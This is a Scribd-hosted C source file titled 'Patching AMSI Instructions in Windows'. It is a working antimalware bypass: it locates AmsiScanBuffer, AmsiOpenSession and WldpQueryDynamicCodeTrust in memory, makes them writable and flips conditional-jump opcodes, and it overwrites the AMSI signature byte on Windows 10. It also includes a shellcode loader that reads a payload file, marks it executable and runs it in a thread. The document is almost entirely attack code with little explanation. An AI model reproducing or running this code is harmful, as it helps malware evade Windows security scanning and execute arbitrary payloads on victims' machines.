0% found this document useful (0 votes)
12 views8 pages

Patching AMSI Instructions in Windows

Uploaded by

elgouladam121
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
12 views8 pages

Patching AMSI Instructions in Windows

Uploaded by

elgouladam121
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

// @SecureNet-Insight | AUTHOR : Adam Elgoul

#include <Windows.h>
#include <stdio.h>

#define x64_RET_INSTRUCTION_OPCODE 0xC3 // 'ret'


- instruction opcode
#define x64_INT3_INSTRUCTION_OPCODE 0xCC // 'int3'
- instruction opcode
#define x64_JE_INSTRUCTION_OPCODE 0x74 // 'jump if equal'
- instruction opcode
#define x64_JNE_INSTRUCTION_OPCODE 0x75 // 'jump if not equal'
- instruction opcode
#define x64_MOV_INSTRUCTION_OPCODE 0xB8 // 'move'
- instruction opcode

#define AMSI_SIGNATURE 0x49534D41 // "ISMA"


string ("AMSI" in reverse)

BOOL VerifyAddress (IN PBYTE pAddress) {

PBYTE pMovIns = NULL;


BYTE bOffset = 0x00;

// Initial Check
if (*(PBYTE)pAddress != x64_JE_INSTRUCTION_OPCODE)
return FALSE;

// Calculate the offset of the jump address


// Adding 1 to skip the 'je' instruction
bOffset = *(PBYTE)(pAddress + sizeof(BYTE));

// Add the offset to the address following the 'je offset' instruction
// Adding 2 to skip the 'je offset' statement
pMovIns = (PBYTE)(pAddress + (sizeof(BYTE) * 2) + bOffset);

// Return true if the first instruction is found to be a 'mov' instruction


return *(PBYTE)pMovIns == x64_MOV_INSTRUCTION_OPCODE ? TRUE : FALSE;
}

// Replace the "je" instruction that jumps to "mov eax, 80070057" to "jne"
instruction
// Compatible with both W10 & W11
// Parameters :
// * pAmsiOpenSession - Address of the AmsiOpenSession function

BOOL PatchAmsiOpenSessionJe(IN PBYTE pAmsiOpenSession) {

PBYTE px74Opcode = NULL;


DWORD i = 0x00,
dwOldProtection = 0x00;

if (!pAmsiOpenSession)
return FALSE;
// A while-loop to find the last 'ret' instruction
while (1) {
if (pAmsiOpenSession[i] == x64_RET_INSTRUCTION_OPCODE &&
pAmsiOpenSession[i + 1] == x64_INT3_INSTRUCTION_OPCODE && pAmsiOpenSession[i + 2]
== x64_INT3_INSTRUCTION_OPCODE)
break;
i++;
}

// Searching upwards for the first 'je' instruction


while (i) {

if (VerifyAddress(&pAmsiOpenSession[i])) {
px74Opcode = &pAmsiOpenSession[i];
break;
}

i--;
}

printf("\t[+] 'je' Insruction Found At: 0x%p \n", px74Opcode);

if (!px74Opcode)
return FALSE;

printf("\t[i] Replacing JE with JNE Instruction ... ");

// Change memory permissions to RWX


if (!VirtualProtect(px74Opcode, 0x01, PAGE_EXECUTE_READWRITE,
&dwOldProtection))
return FALSE;

// Apply the patch


*(BYTE*)px74Opcode = x64_JNE_INSTRUCTION_OPCODE;

// Change memory permissions to original


if (!VirtualProtect(px74Opcode, 0x01, dwOldProtection, &dwOldProtection))
return FALSE;

printf("[+] DONE \n");

return TRUE;
}

// Replace the "je" instruction that jumps to "mov eax, 80070057" to "jne"
instruction
// Compatible with both W10 & W11
// Parameters :
// * pAmsiScanBuffer - Address of the AmsiScanBuffer function

// NOTE: The function 'PatchAmsiScanBufferJe' is identical to the


'PatchAmsiOpenSessionJe' function

BOOL PatchAmsiScanBufferJe(IN PBYTE pAmsiScanBuffer) {

PBYTE px74Opcode = NULL;


DWORD i = 0x00,
dwOldProtection = 0x00;

if (!pAmsiScanBuffer)
return FALSE;

// A while-loop to find the last 'ret' instruction


while (1) {
if (pAmsiScanBuffer[i] == x64_RET_INSTRUCTION_OPCODE &&
pAmsiScanBuffer[i + 1] == x64_INT3_INSTRUCTION_OPCODE && pAmsiScanBuffer[i + 2] ==
x64_INT3_INSTRUCTION_OPCODE)
break;
i++;
}

// Searching upwards for the first 'je' instruction


while (i) {

if (VerifyAddress(&pAmsiScanBuffer[i])) {
px74Opcode = &pAmsiScanBuffer[i];
break;
}

i--;
}

printf("\t[+] 'je' Insruction Found At: 0x%p \n", px74Opcode);

if (!px74Opcode)
return FALSE;

printf("\t[i] Replacing JE with JNE Instruction ... ");

// Change memory permissions to RWX


if (!VirtualProtect(px74Opcode, 0x01, PAGE_EXECUTE_READWRITE,
&dwOldProtection))
return FALSE;

// Apply the patch


*(BYTE*)px74Opcode = x64_JNE_INSTRUCTION_OPCODE;

// Change memory permissions to original


if (!VirtualProtect(px74Opcode, 0x01, dwOldProtection, &dwOldProtection))
return FALSE;

printf("[+] DONE \n");

return TRUE;
}

// Patch the amsi context structure - changing it from "AMSI" (49 53 4D 41) to
(AA 53 4D 41)
// Compatible with W10 only
// Parameters :
// * pAmsiFunc - Address of either AmsiOpenSession or AmsiScanBuffer
functions

BOOL PatchAmsiSignature(IN PBYTE pAmsiFunc) {


PBYTE pAmsiSignature = NULL;
DWORD i = 0x00,
dwOldProtection = 0x00;

if (!pAmsiFunc)
return FALSE;

// A while-loop to find the last 'ret' instruction


while (1) {
if (pAmsiFunc[i] == x64_RET_INSTRUCTION_OPCODE && pAmsiFunc[i + 1] ==
x64_INT3_INSTRUCTION_OPCODE && pAmsiFunc[i + 2] == x64_INT3_INSTRUCTION_OPCODE)
break;
i++;
}

// Searching again for the amsi signature address


for (DWORD x = 0; x < i; x++){
if (*(ULONG*)(pAmsiFunc + x) == AMSI_SIGNATURE) {
pAmsiSignature = &pAmsiFunc[x];
break;
}
}

printf("\t[+] Amsi Signature Found At: 0x%p \n", pAmsiSignature);

if (!pAmsiSignature)
return FALSE;

printf("\t[i] Replacing The Amsi Signature [41 4D 53 49] with [43 4D 53


49] ... ");

// Change memory permissions to RWX


if (!VirtualProtect(pAmsiSignature, 0x01, PAGE_EXECUTE_READWRITE,
&dwOldProtection))
return FALSE;

// Apply the patch - Replacing the first byte in the original signature to a
random byte
*(BYTE*)pAmsiSignature = 0x43;

// Change memory permissions to original


if (!VirtualProtect(pAmsiSignature, 0x01, dwOldProtection, &dwOldProtection))
return FALSE;

printf("[+] DONE \n");

return TRUE;
}

// Replace the "je" instruction that jumps to "mov eax, 80070057" to "jne"
instruction
// Compatible with both W10 & W11
// Parameters :
// * pWldpQueryDynamicCodeTrust - Address of the WldpQueryDynamicCodeTrust
function
BOOL PatchWldpQueryDynamicCodeTrustJe(IN PBYTE pWldpQueryDynamicCodeTrust) {

PBYTE px74Opcode = NULL;


DWORD i = 0x00,
dwOldProtection = 0x00;

if (!pWldpQueryDynamicCodeTrust)
return FALSE;

// A while-loop to find the last 'ret' instruction


while (1) {
if (pWldpQueryDynamicCodeTrust[i] == x64_RET_INSTRUCTION_OPCODE &&
pWldpQueryDynamicCodeTrust[i + 1] == x64_INT3_INSTRUCTION_OPCODE &&
pWldpQueryDynamicCodeTrust[i + 2] == x64_INT3_INSTRUCTION_OPCODE)
break;
i++;
}

// Searching for the first 'je' instruction


for (DWORD x = 0; x < i; x++) {
if (VerifyAddress(&pWldpQueryDynamicCodeTrust[x])) {
px74Opcode = &pWldpQueryDynamicCodeTrust[x];
break;
}
}

printf("\t[+] 'je' Insruction Found At: 0x%p \n", px74Opcode);

if (!px74Opcode)
return FALSE;

printf("\t[i] Replacing JE with JNE Instruction ... ");

// Change memory permissions to RWX


if (!VirtualProtect(px74Opcode, 0x01, PAGE_EXECUTE_READWRITE,
&dwOldProtection))
return FALSE;

// Apply the patch


*(BYTE*)px74Opcode = x64_JNE_INSTRUCTION_OPCODE;

// Change memory permissions to original


if (!VirtualProtect(px74Opcode, 0x01, dwOldProtection, &dwOldProtection))
return FALSE;

printf("[+] DONE \n");

return TRUE;
}

BOOL InjectShellcodeFileLocally(IN LPCWSTR wsShellFileName) {

HANDLE hFile = INVALID_HANDLE_VALUE,


hThread = NULL;
DWORD dwBufferSize = NULL,
dwNumberOfBytesRead = NULL,
dwOldProtection = NULL;
PBYTE pBufferData = NULL;
DWORD dwThreadId = 0x00;
BOOL bResults = FALSE;

if ((hFile = CreateFileW(wsShellFileName, GENERIC_READ, NULL, NULL,


OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW Failed With Error : %d \n", GetLastError());
goto _EndOfFunc;
}

if ((dwBufferSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE) {


printf("[!] GetFileSize Failed With Error : %d \n", GetLastError());
goto _EndOfFunc;
}

if ((pBufferData = VirtualAlloc(NULL, dwBufferSize, MEM_COMMIT | MEM_RESERVE,


PAGE_READWRITE)) == NULL) {
printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
goto _EndOfFunc;
}

if (!ReadFile(hFile, pBufferData, dwBufferSize, &dwNumberOfBytesRead, NULL)


|| dwNumberOfBytesRead != dwBufferSize) {
printf("[!] ReadFile Failed With Error : %d \n", GetLastError());
printf("[!] Bytes Read: %d of %d\n", dwNumberOfBytesRead,
dwBufferSize);
goto _EndOfFunc;
}

if (!VirtualProtect(pBufferData, dwBufferSize, PAGE_EXECUTE_READWRITE,


&dwOldProtection)) {
printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
goto _EndOfFunc;
}

printf("\t> Running Payload Via Thread ");


hThread = CreateThread(NULL, NULL, pBufferData, NULL, NULL, &dwThreadId);
printf("[ %d ] ... \n", dwThreadId);
if (hThread)
WaitForSingleObject(hThread, INFINITE);

bResults = TRUE;

_EndOfFunc:
if (hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
return bResults;
}

//\
#define WINDOWS10

int main() {

if (!LoadLibrary(TEXT("AMSI"))) {
printf("[!] LoadLibrary [1] Failed With Error: %d \n", GetLastError());
return -1;
}

if (!LoadLibrary(TEXT("WLDP"))) {
printf("[!] LoadLibrary [2] Failed With Error: %d \n", GetLastError());
return -1;
}

PVOID pAmsiOpenSession =
GetProcAddress(GetModuleHandle(TEXT("AMSI")), "AmsiOpenSession");
PVOID pAmsiScanBuffer =
GetProcAddress(GetModuleHandle(TEXT("AMSI")), "AmsiScanBuffer");
PVOID pWldpQueryDynamicCodeTrust =
GetProcAddress(GetModuleHandle(TEXT("WLDP")), "WldpQueryDynamicCodeTrust");

if (!pAmsiOpenSession || !pAmsiScanBuffer || !pWldpQueryDynamicCodeTrust)


return -1;

printf(">>> AmsiOpenSession : 0x%p \n", pAmsiOpenSession);


printf(">>> AmsiScanBuffer : 0x%p \n", pAmsiScanBuffer);
printf(">>> WldpQueryDynamicCodeTrust : 0x%p \n\n",
pWldpQueryDynamicCodeTrust);

//
-----------------------------------------------------------------------------------
-------------------

/*
printf("[i] Running 'PatchAmsiOpenSessionJe' ... \n");
if (!PatchAmsiOpenSessionJe(pAmsiOpenSession))
printf("[!] FAILED \n");
else
printf("[+] DONE \n");

printf("\n");
*/

//
-----------------------------------------------------------------------------------
-------------------

printf("[i] Running 'PatchAmsiScanBufferJe' ... \n");


if(!PatchAmsiScanBufferJe(pAmsiScanBuffer))
printf("[!] FAILED \n");
else
printf("[+] DONE \n");

printf("\n");

//
-----------------------------------------------------------------------------------
-------------------

#ifdef WINDOWS10
// You can pass pAmsiOpenSession or pAmsiScanBuffer
// Won't work under Windows 11
printf("[i] Running 'PatchAmsiSignature' ... \n");
if (!PatchAmsiSignature(pAmsiScanBuffer))
printf("[!] FAILED \n");
else
printf("[+] DONE \n");

printf("\n");
#endif // WINDOWS10

//
-----------------------------------------------------------------------------------
-------------------

/*
printf("[i] Running 'PatchWldpQueryDynamicCodeTrustJe' ... \n");
if (!PatchWldpQueryDynamicCodeTrustJe(pWldpQueryDynamicCodeTrust))
printf("[!] FAILED \n");
else
printf("[+] DONE \n");

printf("\n");
*/

// TESTING
/*
if (!InjectShellcodeFileLocally(L"C:\\[Link]"))
return -1;
*/

printf("[i] Press <Enter> To Quit ...");


getchar();
return 0;
}

You might also like